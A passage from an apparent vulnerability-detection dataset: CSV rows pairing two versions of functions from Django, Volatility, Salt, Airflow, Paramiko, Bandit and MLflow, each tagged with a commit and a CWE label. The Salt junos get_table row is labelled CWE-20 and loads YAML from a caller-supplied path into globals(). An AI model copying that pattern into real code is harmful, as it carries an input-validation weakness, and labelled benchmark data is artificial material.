                    retVal = re.sub(r""(\A|\b)%s=[^&;]*"" % re.escape(randomParameter), ""%s=%s"" % (randomParameter, newValue), paramString)
                return retVal"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,django/utils/_os.py,0,"def safe_join(base, *paths):
    """"""
    Joins one or more path components to the base path component intelligently.
    Returns a normalized, absolute version of the final path.

    The final path must be located inside of the base path component (otherwise
    a ValueError is raised).
    """"""
    base = force_text(base)
    paths = [force_text(p) for p in paths]
    final_path = abspathu(join(base, *paths))
    base_path = abspathu(base)
    # Ensure final_path starts with base_path (using normcase to ensure we
    # don't false-negative on case insensitive operating systems like Windows),
    # further, one of the following conditions must be true:
    #  a) The next character is the path separator (to prevent conditions like
    #     safe_join(""/dir"", ""/../d""))
    #  b) The final path must be the same as the base path.
    #  c) The base path must be the most root path (meaning either ""/"" or ""C:\\"")
    if (not normcase(final_path).startswith(normcase(base_path + sep)) and
            normcase(final_path) != normcase(base_path) and
            dirname(normcase(base_path)) != normcase(base_path)):
        raise ValueError('The joined path (%s) is located outside of the base '
                         'path component (%s)' % (final_path, base_path))
    return final_path",CWE-Unknown,django/django,7477a4ffde4781f4e84503e66d7f775074089887,"def safe_join(base, *paths):
    """"""
    Joins one or more path components to the base path component intelligently.
    Returns a normalized, absolute version of the final path.

    The final path must be located inside of the base path component (otherwise
    a ValueError is raised).
    """"""
    base = force_text(base)
    paths = [force_text(p) for p in paths]
    final_path = abspathu(join(base, *paths))
    base_path = abspathu(base)
    # Ensure final_path starts with base_path (using normcase to ensure we
    # don't false-negative on case insensitive operating systems like Windows),
    # further, one of the following conditions must be true:
    #  a) The next character is the path separator (to prevent conditions like
    #     safe_join(""/dir"", ""/../d""))
    #  b) The final path must be the same as the base path.
    #  c) The base path must be the most root path (meaning either ""/"" or ""C:\\"")
    if (not normcase(final_path).startswith(normcase(base_path + sep)) and
        normcase(final_path) != normcase(base_path) and
        dirname(normcase(base_path)) != normcase(base_path)):
        raise ValueError('The joined path (%s) is located outside of the base '
                         'path component (%s)' % (final_path, base_path))
    return final_path"
functions_for_volatility_with_cwe.csv,UNKNOWN,UNKNOWN,volatility/plugins/malware/threads.py,0,"def calculate(self):

        if not has_distorm3:
            debug.warning(""For best results please install distorm3"")

        # Checks that subclass AbstractThreadCheck
        checks = registry.get_plugin_classes(AbstractThreadCheck)

        # If --listtags is chosen, just print the tags and return 
        if self._config.LISTTAGS:
            for cls_name, cls in checks.items():
                sys.stdout.write(""{0:<20} {1}\n"".format(cls_name, pydoc.getdoc(cls)))
            return

        addr_space = utils.load_as(self._config)
        system_range = tasks.get_kdbg(addr_space).MmSystemRangeStart.dereference_as(""Pointer"")

        # Only show threads owned by particular processes
        if self._config.PID:
            pidlist = [int(p) for p in self._config.PID.split(',')]
        elif self._config.OFFSET:
            process = self.virtual_process_from_physical_offset(addr_space, self._config.OFFSET)
            if process:
                pidlist = [int(process.UniqueProcessId)]
        else:
            pidlist = []

        # Get sorted list of kernel modules 
        mods = dict((addr_space.address_mask(mod.DllBase), mod) for mod in modules.lsmod(addr_space))
        mod_addrs = sorted(mods.keys())

        # Are we on x86 or x64. Save this for render_text 
        self.bits32 = addr_space.profile.metadata.\
            get(""memory_model"", ""32bit"") == ""32bit""

        # Get a list of hooked SSDTs but only on x86
        if self.bits32:
            hooked_tables = self.get_hooked_tables(addr_space)
        else:
            hooked_tables = None

        # Dictionary to store threads. Keys are physical offsets of
        # ETHREAD objects. Values are tuples, where the first item is
        # a boolean specifying if the object was found by scanning and
        # the second item is the actual ETHREAD object. 
        seen_threads = dict()

        # Gather threads by list traversal of active/linked processes 
        for task in taskmods.DllList(self._config).calculate():
            for thread in task.ThreadListHead.\
                    list_of_type(""_ETHREAD"", ""ThreadListEntry""):
                seen_threads[thread.obj_vm.vtop(thread.obj_offset)] = (False, thread)

        # Now scan for threads and save any that haven't been seen
        for thread in modscan.ThrdScan(self._config).calculate():
            if not seen_threads.has_key(thread.obj_offset):
                seen_threads[thread.obj_offset] = (True, thread)

        # Keep a record of processes whose DLLs we've already enumerated
        process_dll_info = {}

        for _offset, (found_by_scanner, thread) in seen_threads.items():

            # Skip processes the user doesn't want to see
            if pidlist and thread.Cid.UniqueProcess not in pidlist:
                continue

            # Do we need to gather DLLs for module resolution 
            if addr_space.address_compare(thread.StartAddress, system_range) != -1:
                owner = tasks.find_module(mods, 
                                          mod_addrs, 
                                          addr_space.address_mask(thread.StartAddress))
            else:
                owning_process = thread.owning_process() 
                if not owning_process.is_valid(): 
                    owner = None
                else:
                    try:
                        user_mod_addrs, user_mods = process_dll_info[owning_process.obj_offset]
                    except KeyError:
                        user_mods = dict((addr_space.address_mask(mod.DllBase), mod) 
                                            for mod in owning_process.get_load_modules())
                        user_mod_addrs = sorted(user_mods.keys())
                        process_dll_info[owning_process.obj_offset] = (user_mod_addrs, user_mods)
                    owner = tasks.find_module(user_mods, 
                                              user_mod_addrs, 
                                              addr_space.address_mask(thread.StartAddress))
            
            if owner:
                owner_name = str(owner.BaseDllName or '')
            else:
                owner_name = ""UNKNOWN""

            # Replace the dummy class with an instance 
            instances = dict(
                        (cls_name, cls(thread, mods, mod_addrs,
                            hooked_tables, found_by_scanner))
                        for cls_name, cls in checks.items()
                        )

            yield thread, addr_space, mods, mod_addrs, \
                        instances, hooked_tables, system_range, owner_name",,volatilityfoundation/volatility,e916f99e57c26fc6c691358c7ed3ee3a3d23f11a,"def calculate(self):

        if not has_distorm3:
            debug.warning(""For best results please install distorm3"")

        # Checks that subclass AbstractThreadCheck
        checks = registry.get_plugin_classes(AbstractThreadCheck)

        # If --listtags is chosen, just print the tags and return 
        if self._config.LISTTAGS:
            for cls_name, cls in checks.items():
                sys.stdout.write(""{0:<20} {1}\n"".format(cls_name, pydoc.getdoc(cls)))
            return

        addr_space = utils.load_as(self._config)
        system_range = tasks.get_kdbg(addr_space).MmSystemRangeStart.dereference_as(""Pointer"")

        # Only show threads owned by particular processes
        if self._config.PID:
            pidlist = [int(p) for p in self._config.PID.split(',')]
        else:
            pidlist = []

        # Get sorted list of kernel modules 
        mods = dict((addr_space.address_mask(mod.DllBase), mod) for mod in modules.lsmod(addr_space))
        mod_addrs = sorted(mods.keys())

        # Gather processes 
        all_tasks = list(tasks.pslist(addr_space))

        # Are we on x86 or x64. Save this for render_text 
        self.bits32 = addr_space.profile.metadata.\
            get(""memory_model"", ""32bit"") == ""32bit""

        # Get a list of hooked SSDTs but only on x86
        if self.bits32:
            hooked_tables = self.get_hooked_tables(addr_space)
        else:
            hooked_tables = None

        # Dictionary to store threads. Keys are physical offsets of
        # ETHREAD objects. Values are tuples, where the first item is
        # a boolean specifying if the object was found by scanning and
        # the second item is the actual ETHREAD object. 
        seen_threads = dict()

        # Gather threads by list traversal of active/linked processes 
        for task in self.filter_tasks(all_tasks):
            for thread in task.ThreadListHead.\
                    list_of_type(""_ETHREAD"", ""ThreadListEntry""):
                seen_threads[thread.obj_vm.vtop(thread.obj_offset)] = (False, thread)

        # Now scan for threads and save any that haven't been seen
        for thread in modscan.ThrdScan(self._config).calculate():
            if not seen_threads.has_key(thread.obj_offset):
                seen_threads[thread.obj_offset] = (True, thread)

        # Keep a record of processes whose DLLs we've already enumerated
        process_dll_info = {}

        for _offset, (found_by_scanner, thread) in seen_threads.items():

            # Skip processes the user doesn't want to see
            if pidlist and thread.Cid.UniqueProcess not in pidlist:
                continue

            # Do we need to gather DLLs for module resolution 
            if addr_space.address_compare(thread.StartAddress, system_range) != -1:
                owner = tasks.find_module(mods, 
                                          mod_addrs, 
                                          addr_space.address_mask(thread.StartAddress))
            else:
                owning_process = thread.owning_process() 
                if not owning_process.is_valid(): 
                    owner = None
                else:
                    try:
                        user_mod_addrs, user_mods = process_dll_info[owning_process.obj_offset]
                    except KeyError:
                        user_mods = dict((addr_space.address_mask(mod.DllBase), mod) 
                                            for mod in owning_process.get_load_modules())
                        user_mod_addrs = sorted(user_mods.keys())
                        process_dll_info[owning_process.obj_offset] = (user_mod_addrs, user_mods)
                    owner = tasks.find_module(user_mods, 
                                              user_mod_addrs, 
                                              addr_space.address_mask(thread.StartAddress))
            
            if owner:
                owner_name = str(owner.BaseDllName or '')
            else:
                owner_name = ""UNKNOWN""

            # Replace the dummy class with an instance 
            instances = dict(
                        (cls_name, cls(thread, mods, mod_addrs,
                            hooked_tables, found_by_scanner))
                        for cls_name, cls in checks.items()
                        )

            yield thread, addr_space, mods, mod_addrs, \
                        instances, hooked_tables, system_range, owner_name"
,UNKNOWN,UNKNOWN,salt/modules/junos.py,1,"def get_table(table, table_file, path=None, target=None, key=None, key_items=None,
              filters=None, args=None):
    '''
    Retrieve data from a Junos device using Tables/Views

    table (required)
        Name of PyEZ Table

    table_file (required)
        YAML file that has the table specified in table parameter

    path:
        Path of location of the YAML file.
        defaults to op directory in jnpr.junos.op

    target:
        if command need to run on FPC, can specify fpc target

    key:
        To overwrite key provided in YAML

    key_items:
        To select only given key items

    filters:
          To select only filter for the dictionary from columns

    **args:
          key/value pair which should render Jinja template command

    CLI Example:

    .. code-block:: bash

        salt 'device_name' junos.get_table

    '''

    conn = __proxy__['junos.conn']()
    ret = {}
    ret['out'] = True
    ret['hostname'] = conn._hostname
    ret['tablename'] = table
    get_kvargs = {}
    if target is not None:
        get_kvargs['target'] = target
    if key is not None:
        get_kvargs['key'] = key
    if key_items is not None:
        get_kvargs['key_items'] = key_items
    if filters is not None:
        get_kvargs['filters'] = filters
    if args is not None and isinstance(args, dict):
        get_kvargs['args'] = args
    pyez_tables_path = os.path.dirname(os.path.abspath(tables_dir.__file__))
    try:
        if path is not None:
            file_loc = glob.glob(os.path.join(path, '{}'.format(table_file)))
        else:
            file_loc = glob.glob(os.path.join(pyez_tables_path, '{}'.format(table_file)))
        if len(file_loc) == 1:
            file_name = file_loc[0]
        else:
            ret['message'] = 'Given table file {} cannot be located'.format(table_file)
            ret['out'] = False
            return ret
        try:
            with salt.utils.files.fopen(file_name) as fp:
                ret['table'] = yaml.load(fp.read(),
                                         Loader=yamlordereddictloader.Loader)
                globals().update(FactoryLoader().load(ret['table']))
        except IOError as err:
            ret['message'] = 'Uncaught exception during YAML Load - please ' \
                             'report: {0}'.format(six.text_type(err))
            ret['out'] = False
            return ret
        try:
            data = globals()[table](conn)
            data.get(**get_kvargs)
        except KeyError as err:
            ret['message'] = 'Uncaught exception during get API call - please ' \
                             'report: {0}'.format(six.text_type(err))
            ret['out'] = False
            return ret
        except ConnectClosedError:
            ret['message'] = 'Got ConnectClosedError exception. Connection lost ' \
                             'with {}'.format(conn)
            ret['out'] = False
            return ret
        ret['reply'] = json.loads(data.to_json())
        if data.__class__.__bases__[0] == OpTable:
            # Sets key value if not present in YAML. To be used by returner
            if ret['table'][table].get('key') is None:
                ret['table'][table]['key'] = data.ITEM_NAME_XPATH
            # If key is provided from salt state file.
            if key is not None:
                ret['table'][table]['key'] = data.KEY
        else:
            if target is not None:
                ret['table'][table]['target'] = data.TARGET
            if key is not None:
                ret['table'][table]['key'] = data.KEY
            if key_items is not None:
                ret['table'][table]['key_items'] = data.KEY_ITEMS
            if args is not None:
                ret['table'][table]['args'] = data.CMD_ARGS
                ret['table'][table]['command'] = data.GET_CMD
    except Exception as err:
        ret['message'] = 'Uncaught exception - please report: {0}'.format(
            str(err))
        traceback.print_exc()
        ret['out'] = False
        return ret
    return ret",CWE-20,saltstack/salt,41533f12a5e2353dc12ae6fbc1fe75aff7690edc,"def get_table(table, table_file, path=None, target=None, key=None, key_items=None,
              filters=None, args=None):
    '''
    Retrieve data from a Junos device using Tables/Views
    Usage:
    .. code-block:: bash
        salt 'device_name' junos.get_table
    Parameters:
      Required
        * table:
          Name of PyEZ Table
        * table_file:
          YAML file that has the table specified in table parameter
      Optional
        * path:
          Path of location of the YAML file.
          defaults to op directory in jnpr.junos.op
        * target:
          if command need to run on FPC, can specify fpc target
        * key:
          To overwrite key provided in YAML
        * key_items:
          To select only given key items
        * filters:
          To select only filter for the dictionary from columns
        * args:
          key/value pair which should render Jinja template command
    '''

    conn = __proxy__['junos.conn']()
    ret = {}
    ret['out'] = True
    ret['hostname'] = conn._hostname
    ret['tablename'] = table
    get_kvargs = {}
    if target is not None:
        get_kvargs['target'] = target
    if key is not None:
        get_kvargs['key'] = key
    if key_items is not None:
        get_kvargs['key_items'] = key_items
    if filters is not None:
        get_kvargs['filters'] = filters
    if args is not None and isinstance(args, dict):
        get_kvargs['args'] = args
    pyez_tables_path = os.path.dirname(os.path.abspath(tables_dir.__file__))
    try:
        if path is not None:
            file_loc = glob.glob(os.path.join(path, '{}'.format(table_file)))
        else:
            file_loc = glob.glob(os.path.join(pyez_tables_path, '{}'.format(table_file)))
        if len(file_loc) == 1:
            file_name = file_loc[0]
        else:
            ret['message'] = 'Given table file {} cannot be located'.format(table_file)
            ret['out'] = False
            return ret
        try:
            with salt.utils.files.fopen(file_name) as fp:
                ret['table'] = yaml.load(fp.read(),
                                         Loader=yamlordereddictloader.Loader)
                globals().update(FactoryLoader().load(ret['table']))
        except IOError as err:
            ret['message'] = 'Uncaught exception during YAML Load - please ' \
                             'report: {0}'.format(six.text_type(err))
            ret['out'] = False
            return ret
        try:
            data = globals()[table](conn)
            data.get(**get_kvargs)
        except KeyError as err:
            ret['message'] = 'Uncaught exception during get API call - please ' \
                             'report: {0}'.format(six.text_type(err))
            ret['out'] = False
            return ret
        except ConnectClosedError:
            ret['message'] = 'Got ConnectClosedError exception. Connection lost ' \
                             'with {}'.format(conn)
            ret['out'] = False
            return ret
        ret['reply'] = json.loads(data.to_json())
        if data.__class__.__bases__[0] == OpTable:
            # Sets key value if not present in YAML. To be used by returner
            if ret['table'][table].get('key') is None:
                ret['table'][table]['key'] = data.ITEM_NAME_XPATH
            # If key is provided from salt state file.
            if key is not None:
                ret['table'][table]['key'] = data.KEY
        else:
            if target is not None:
                ret['table'][table]['target'] = data.TARGET
            if key is not None:
                ret['table'][table]['key'] = data.KEY
            if key_items is not None:
                ret['table'][table]['key_items'] = data.KEY_ITEMS
            if args is not None:
                ret['table'][table]['args'] = data.CMD_ARGS
                ret['table'][table]['command'] = data.GET_CMD
    except Exception as err:
        ret['message'] = 'Uncaught exception - please report: {0}'.format(
            str(err))
        traceback.print_exc()
        ret['out'] = False
        return ret
    return ret"
functions_for_bandit_with_cwe.csv,UNKNOWN,UNKNOWN,tests/functional/test_functional.py,0,"def test_eval(self):
        '''Test the `eval` example.'''
        expect = {'SEVERITY': {'MEDIUM': 3}, 'CONFIDENCE': {'HIGH': 3}}
        self.check_example('eval.py', expect)",UNKNOWN,PyCQA/bandit,ce17a94c06c1abac0a9b0f0a57b6561b23f36ec4,"def test_eval(self):
        '''Test the `eval` example.'''
        expect = {'SEVERITY': {'MEDIUM': 3}, 'CONFIDENCE': {'HIGH': 3}}
        self.check_example('eval.py', expect)"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow-core/src/airflow/models/taskinstance.py,0,"def refresh_from_db(
        self, session: Session = NEW_SESSION, lock_for_update: bool = False, keep_local_changes: bool = False
    ) -> None:
        """"""
        Refresh the task instance from the database based on the primary key.

        :param session: SQLAlchemy ORM Session
        :param lock_for_update: if True, indicates that the database should
            lock the TaskInstance (issuing a FOR UPDATE clause) until the
            session is committed.
        :param keep_local_changes: Force all attributes to the values from the database if False (the default),
            or if True don't overwrite locally set attributes
        """"""
        query = select(
            # Select the columns, not the ORM object, to bypass any session/ORM caching layer
            *TaskInstance.__table__.columns
        ).filter_by(
            dag_id=self.dag_id,
            run_id=self.run_id,
            task_id=self.task_id,
            map_index=self.map_index,
        )

        if lock_for_update:
            query = query.with_for_update()

        source = session.execute(query).mappings().one_or_none()
        if source:
            target_state = inspect(self)
            if target_state is None:
                raise RuntimeError(f""Unable to inspect SQLAlchemy state of {type(self)}: {self}"")

            # To deal with `@hybrid_property` we need to get the names from `mapper.columns`
            for attr_name, col in target_state.mapper.columns.items():
                if keep_local_changes and target_state.attrs[attr_name].history.has_changes():
                    continue

                set_committed_value(self, attr_name, source[col.name])

            # ID may have changed, update SQLAs state and object tracking
            newkey = session.identity_key(type(self), (self.id,))

            # Delete anything under the new key
            if newkey != target_state.key:
                old = session.identity_map.get(newkey)
                if old is not self and old is not None:
                    session.expunge(old)
                target_state.key = newkey

            if target_state.attrs.dag_run.loaded_value is not NO_VALUE:
                dr_key = session.identity_key(type(self.dag_run), (self.dag_run.id,))
                if (dr := session.identity_map.get(dr_key)) is not None:
                    set_committed_value(self, ""dag_run"", dr)

        else:
            self.state = None",CWE-Unknown,apache/airflow,9c5841cd20184c2f88db5250861514525c63d0f2,"def refresh_from_db(
        self, session: Session = NEW_SESSION, lock_for_update: bool = False, keep_local_changes: bool = False
    ) -> None:
        """"""
        Refresh the task instance from the database based on the primary key.

        :param session: SQLAlchemy ORM Session
        :param lock_for_update: if True, indicates that the database should
            lock the TaskInstance (issuing a FOR UPDATE clause) until the
            session is committed.
        :param keep_local_changes: Force all attributes to the values from the database if False (the default),
            or if True don't overwrite locally set attributes
        """"""
        query = select(
            # Select the columns, not the ORM object, to bypass any session/ORM caching layer
            c
            for c in TaskInstance.__table__.columns
        ).filter_by(
            dag_id=self.dag_id,
            run_id=self.run_id,
            task_id=self.task_id,
            map_index=self.map_index,
        )

        if lock_for_update:
            query = query.with_for_update()

        source = session.execute(query).mappings().one_or_none()
        if source:
            target_state = inspect(self)
            if target_state is None:
                raise RuntimeError(f""Unable to inspect SQLAlchemy state of {type(self)}: {self}"")

            # To deal with `@hybrid_property` we need to get the names from `mapper.columns`
            for attr_name, col in target_state.mapper.columns.items():
                if keep_local_changes and target_state.attrs[attr_name].history.has_changes():
                    continue

                set_committed_value(self, attr_name, source[col.name])

            # ID may have changed, update SQLAs state and object tracking
            newkey = session.identity_key(type(self), (self.id,))

            # Delete anything under the new key
            if newkey != target_state.key:
                old = session.identity_map.get(newkey)
                if old is not self and old is not None:
                    session.expunge(old)
                target_state.key = newkey

            if target_state.attrs.dag_run.loaded_value is not NO_VALUE:
                dr_key = session.identity_key(type(self.dag_run), (self.dag_run.id,))
                if (dr := session.identity_map.get(dr_key)) is not None:
                    set_committed_value(self, ""dag_run"", dr)

        else:
            self.state = None"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow/security/kerberos.py,0,"def renew_from_kt(principal: str | None, keytab: str, exit_on_fail: bool = True):
    """"""
    Renew kerberos token from keytab.

    :param principal: principal
    :param keytab: keytab file
    :return: None
    """"""
    # The config is specified in seconds. But we ask for that same amount in
    # minutes to give ourselves a large renewal buffer.
    renewal_lifetime = f""{conf.getint('kerberos', 'reinit_frequency')}m""

    cmd_principal = principal or conf.get_mandatory_value(""kerberos"", ""principal"").replace(
        ""_HOST"", get_hostname()
    )

    if conf.getboolean(""kerberos"", ""forwardable""):
        forwardable = ""-f""
    else:
        forwardable = ""-F""

    if conf.getboolean(""kerberos"", ""include_ip""):
        include_ip = ""-a""
    else:
        include_ip = ""-A""

    cmdv: list[str] = [
        conf.get_mandatory_value(""kerberos"", ""kinit_path""),
        forwardable,
        include_ip,
        ""-r"",
        renewal_lifetime,
        ""-k"",  # host ticket
        ""-t"",
        keytab,  # specify keytab
        ""-c"",
        conf.get_mandatory_value(""kerberos"", ""ccache""),  # specify credentials cache
        cmd_principal,
    ]
    log.info(""Re-initialising kerberos from keytab: %s"", "" "".join(shlex.quote(f) for f in cmdv))

    with subprocess.Popen(
        cmdv,
        stdout=subprocess.PIPE,
        stderr=subprocess.PIPE,
        close_fds=True,
        bufsize=-1,
        universal_newlines=True,
    ) as subp:
        subp.wait()
        if subp.returncode != 0:
            log.error(
                ""Couldn't reinit from keytab! `kinit` exited with %s.\n%s\n%s"",
                subp.returncode,
                ""\n"".join(subp.stdout.readlines() if subp.stdout else []),
                ""\n"".join(subp.stderr.readlines() if subp.stderr else []),
            )
            if exit_on_fail:
                sys.exit(subp.returncode)
            else:
                return subp.returncode

    global NEED_KRB181_WORKAROUND
    if NEED_KRB181_WORKAROUND is None:
        NEED_KRB181_WORKAROUND = detect_conf_var()
    if NEED_KRB181_WORKAROUND:
        # (From: HUE-640). Kerberos clock have seconds level granularity. Make sure we
        # renew the ticket after the initial valid time.
        time.sleep(1.5)
        ret = perform_krb181_workaround(cmd_principal)
        if exit_on_fail and ret != 0:
            sys.exit(ret)
        else:
            return ret
    return 0",CWE-Unknown,apache/airflow,a7cf2770b8606e4ac01c39c64284c8d250c96f49,"def renew_from_kt(principal: str | None, keytab: str, exit_on_fail: bool = True):
    """"""
    Renew kerberos token from keytab.

    :param principal: principal
    :param keytab: keytab file
    :return: None
    """"""
    # The config is specified in seconds. But we ask for that same amount in
    # minutes to give ourselves a large renewal buffer.
    renewal_lifetime = f""{conf.getint('kerberos', 'reinit_frequency')}m""

    cmd_principal = principal or conf.get_mandatory_value(""kerberos"", ""principal"").replace(
        ""_HOST"", get_hostname()
    )

    if conf.getboolean(""kerberos"", ""forwardable""):
        forwardable = ""-f""
    else:
        forwardable = ""-F""

    if conf.getboolean(""kerberos"", ""include_ip""):
        include_ip = ""-a""
    else:
        include_ip = ""-A""

    cmdv: list[str] = [
        conf.get_mandatory_value(""kerberos"", ""kinit_path""),
        forwardable,
        include_ip,
        ""-r"",
        renewal_lifetime,
        ""-k"",  # host ticket
        ""-t"",
        keytab,  # specify keytab
        ""-c"",
        conf.get_mandatory_value(""kerberos"", ""ccache""),  # specify credentials cache
        cmd_principal,
    ]
    log.info(""Re-initialising kerberos from keytab: %s"", "" "".join(shlex.quote(f) for f in cmdv))

    with subprocess.Popen(
        cmdv,
        stdout=subprocess.PIPE,
        stderr=subprocess.PIPE,
        close_fds=True,
        bufsize=-1,
        universal_newlines=True,
    ) as subp:
        subp.wait()
        if subp.returncode != 0:
            log.error(
                ""Couldn't reinit from keytab! `kinit' exited with %s.\n%s\n%s"",
                subp.returncode,
                ""\n"".join(subp.stdout.readlines() if subp.stdout else []),
                ""\n"".join(subp.stderr.readlines() if subp.stderr else []),
            )
            if exit_on_fail:
                sys.exit(subp.returncode)
            else:
                return subp.returncode

    global NEED_KRB181_WORKAROUND
    if NEED_KRB181_WORKAROUND is None:
        NEED_KRB181_WORKAROUND = detect_conf_var()
    if NEED_KRB181_WORKAROUND:
        # (From: HUE-640). Kerberos clock have seconds level granularity. Make sure we
        # renew the ticket after the initial valid time.
        time.sleep(1.5)
        ret = perform_krb181_workaround(cmd_principal)
        if exit_on_fail and ret != 0:
            sys.exit(ret)
        else:
            return ret
    return 0"
functions_for_paramiko_with_cwe.csv,UNKNOWN,UNKNOWN,tests/test_gssapi.py,0,"def test_2_gssapi_sspi(self):
        """"""
        Test the used methods of python-gssapi or sspi, sspicon from pywin32.
        """"""
        _API = ""MIT""
        try:
            import gssapi
        except ImportError:
            import sspicon
            import sspi
            _API = ""SSPI""

        c_token = None
        gss_ctxt_status = False
        mic_msg = b""G'day Mate!""

        if _API == ""MIT"":
            if server_mode:
                gss_flags = (gssapi.C_PROT_READY_FLAG,
                             gssapi.C_INTEG_FLAG,
                             gssapi.C_MUTUAL_FLAG,
                             gssapi.C_DELEG_FLAG)
            else:
                gss_flags = (gssapi.C_PROT_READY_FLAG,
                             gssapi.C_INTEG_FLAG,
                             gssapi.C_DELEG_FLAG)
            # Initialize a GSS-API context.
            ctx = gssapi.Context()
            ctx.flags = gss_flags
            krb5_oid = gssapi.OID.mech_from_string(krb5_mech)
            target_name = gssapi.Name(""host@"" + targ_name,
                                      gssapi.C_NT_HOSTBASED_SERVICE)
            gss_ctxt = gssapi.InitContext(peer_name=target_name,
                                          mech_type=krb5_oid,
                                          req_flags=ctx.flags)
            if server_mode:
                c_token = gss_ctxt.step(c_token)
                gss_ctxt_status = gss_ctxt.established
                self.assertEquals(False, gss_ctxt_status)
                # Accept a GSS-API context.
                gss_srv_ctxt = gssapi.AcceptContext()
                s_token = gss_srv_ctxt.step(c_token)
                gss_ctxt_status = gss_srv_ctxt.established
                self.assertNotEquals(None, s_token)
                self.assertEquals(True, gss_ctxt_status)
                # Establish the client context
                c_token = gss_ctxt.step(s_token)
                self.assertEquals(None, c_token)
            else:
                while not gss_ctxt.established:
                    c_token = gss_ctxt.step(c_token)
                self.assertNotEquals(None, c_token)
            # Build MIC
            mic_token = gss_ctxt.get_mic(mic_msg)

            if server_mode:
                # Check MIC
                status = gss_srv_ctxt.verify_mic(mic_msg, mic_token)
                self.assertEquals(0, status)
        else:
            gss_flags = sspicon.ISC_REQ_INTEGRITY |\
                        sspicon.ISC_REQ_MUTUAL_AUTH |\
                        sspicon.ISC_REQ_DELEGATE
            # Initialize a GSS-API context.
            target_name = ""host/"" + socket.getfqdn(targ_name)
            gss_ctxt = sspi.ClientAuth(""Kerberos"",
                                        scflags=gss_flags,
                                        targetspn=target_name)
            if server_mode:
                error, token = gss_ctxt.authorize(c_token)
                c_token = token[0].Buffer
                self.assertEquals(0, error)
                # Accept a GSS-API context.
                gss_srv_ctxt = sspi.ServerAuth(""Kerberos"", spn=target_name)
                error, token = gss_srv_ctxt.authorize(c_token)
                s_token = token[0].Buffer
                # Establish the context.
                error, token = gss_ctxt.authorize(s_token)
                c_token = token[0].Buffer
                self.assertEquals(None, c_token)
                self.assertEquals(0, error)
                # Build MIC
                mic_token = gss_ctxt.sign(mic_msg)
                # Check MIC
                gss_srv_ctxt.verify(mic_msg, mic_token)
            else:
                error, token = gss_ctxt.authorize(c_token)
                c_token = token[0].Buffer
                self.assertNotEquals(0, error)",,paramiko/paramiko,7fb72ec3b4824399e2dce4b4faf59f519ad49013,"def test_2_gssapi_sspi(self):
        """"""
        Test the used methods of python-gssapi or sspi, sspicon from pywin32.
        """"""
        _API = ""MIT""
        try:
            import gssapi
        except ImportError:
            import sspicon
            import sspi
            _API = ""SSPI""

        c_token = None
        gss_ctxt_status = False
        mic_msg = b""G'day Mate!""

        if _API == ""MIT"":
            if server_mode:
                gss_flags = (gssapi.C_PROT_READY_FLAG,
                             gssapi.C_INTEG_FLAG,
                             gssapi.C_MUTUAL_FLAG,
                             gssapi.C_DELEG_FLAG)
            else:
                gss_flags = (gssapi.C_PROT_READY_FLAG,
                             gssapi.C_INTEG_FLAG,
                             gssapi.C_DELEG_FLAG)
            """"""
            Initialize a GSS-API context.
            """"""
            ctx = gssapi.Context()
            ctx.flags = gss_flags
            krb5_oid = gssapi.OID.mech_from_string(krb5_mech)
            target_name = gssapi.Name(""host@"" + targ_name,
                                      gssapi.C_NT_HOSTBASED_SERVICE)
            gss_ctxt = gssapi.InitContext(peer_name=target_name,
                                          mech_type=krb5_oid,
                                          req_flags=ctx.flags)
            if server_mode:
                c_token = gss_ctxt.step(c_token)
                gss_ctxt_status = gss_ctxt.established
                self.assertEquals(False, gss_ctxt_status)
                """"""
                Accept a GSS-API context.
                """"""
                gss_srv_ctxt = gssapi.AcceptContext()
                s_token = gss_srv_ctxt.step(c_token)
                gss_ctxt_status = gss_srv_ctxt.established
                self.assertNotEquals(None, s_token)
                self.assertEquals(True, gss_ctxt_status)
                """"""
                Establish the client context
                """"""
                c_token = gss_ctxt.step(s_token)
                self.assertEquals(None, c_token)
            else:
                while not gss_ctxt.established:
                    c_token = gss_ctxt.step(c_token)
                self.assertNotEquals(None, c_token)
            """"""
            Build MIC
            """"""
            mic_token = gss_ctxt.get_mic(mic_msg)

            if server_mode:
                """"""
                Check MIC
                """"""
                status = gss_srv_ctxt.verify_mic(mic_msg, mic_token)
                self.assertEquals(0, status)
        else:
            gss_flags = sspicon.ISC_REQ_INTEGRITY |\
                        sspicon.ISC_REQ_MUTUAL_AUTH |\
                        sspicon.ISC_REQ_DELEGATE
            """"""
            Initialize a GSS-API context.
            """"""
            target_name = ""host/"" + socket.getfqdn(targ_name)
            gss_ctxt = sspi.ClientAuth(""Kerberos"",
                                        scflags=gss_flags,
                                        targetspn=target_name)
            if server_mode:
                error, token = gss_ctxt.authorize(c_token)
                c_token = token[0].Buffer
                self.assertEquals(0, error)
                """"""
                Accept a GSS-API context.
                """"""
                gss_srv_ctxt = sspi.ServerAuth(""Kerberos"", spn=target_name)
                error, token = gss_srv_ctxt.authorize(c_token)
                s_token = token[0].Buffer
                """"""
                Establish the context.
                """"""
                error, token = gss_ctxt.authorize(s_token)
                c_token = token[0].Buffer
                self.assertEquals(None, c_token)
                self.assertEquals(0, error)
                """"""
                Build MIC
                """"""
                mic_token = gss_ctxt.sign(mic_msg)
                """"""
                Check MIC
                """"""
                gss_srv_ctxt.verify(mic_msg, mic_token)
            else:
                error, token = gss_ctxt.authorize(c_token)
                c_token = token[0].Buffer
                self.assertNotEquals(0, error)"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/langchain/_langchain_autolog.py,0,"def patched_inference(func_name, original, self, *args, **kwargs):
    """"""
    A patched implementation of langchain models inference process which enables
    logging the traces, and other optional artifacts like model, input examples, etc.

    We patch inference functions for different models based on their usage.
    """"""
    import langchain

    if not MIN_REQ_VERSION <= Version(langchain.__version__) <= MAX_REQ_VERSION:
        warnings.warn(
            ""Autologging is known to be compatible with langchain versions between ""
            f""{MIN_REQ_VERSION} and {MAX_REQ_VERSION} and may not succeed with packages ""
            ""outside this range.""
        )

    # Inject MLflow tracer into the model
    from mlflow.langchain.langchain_tracer import MlflowLangchainTracer

    config = AutoLoggingConfig.init()
    mlflow_tracer = MlflowLangchainTracer()
    args, kwargs = _inject_mlflow_callbacks(func_name, [mlflow_tracer], args, kwargs)
    _logger.debug(""Injected MLflow callbacks into the model."")

    # NB: Running the original inference with disabling autologging, so we only patch the top-level
    # component and avoid duplicate logging for child components.
    def _invoke(self, *args, **kwargs):
        with disable_autologging():
            return original(self, *args, **kwargs)

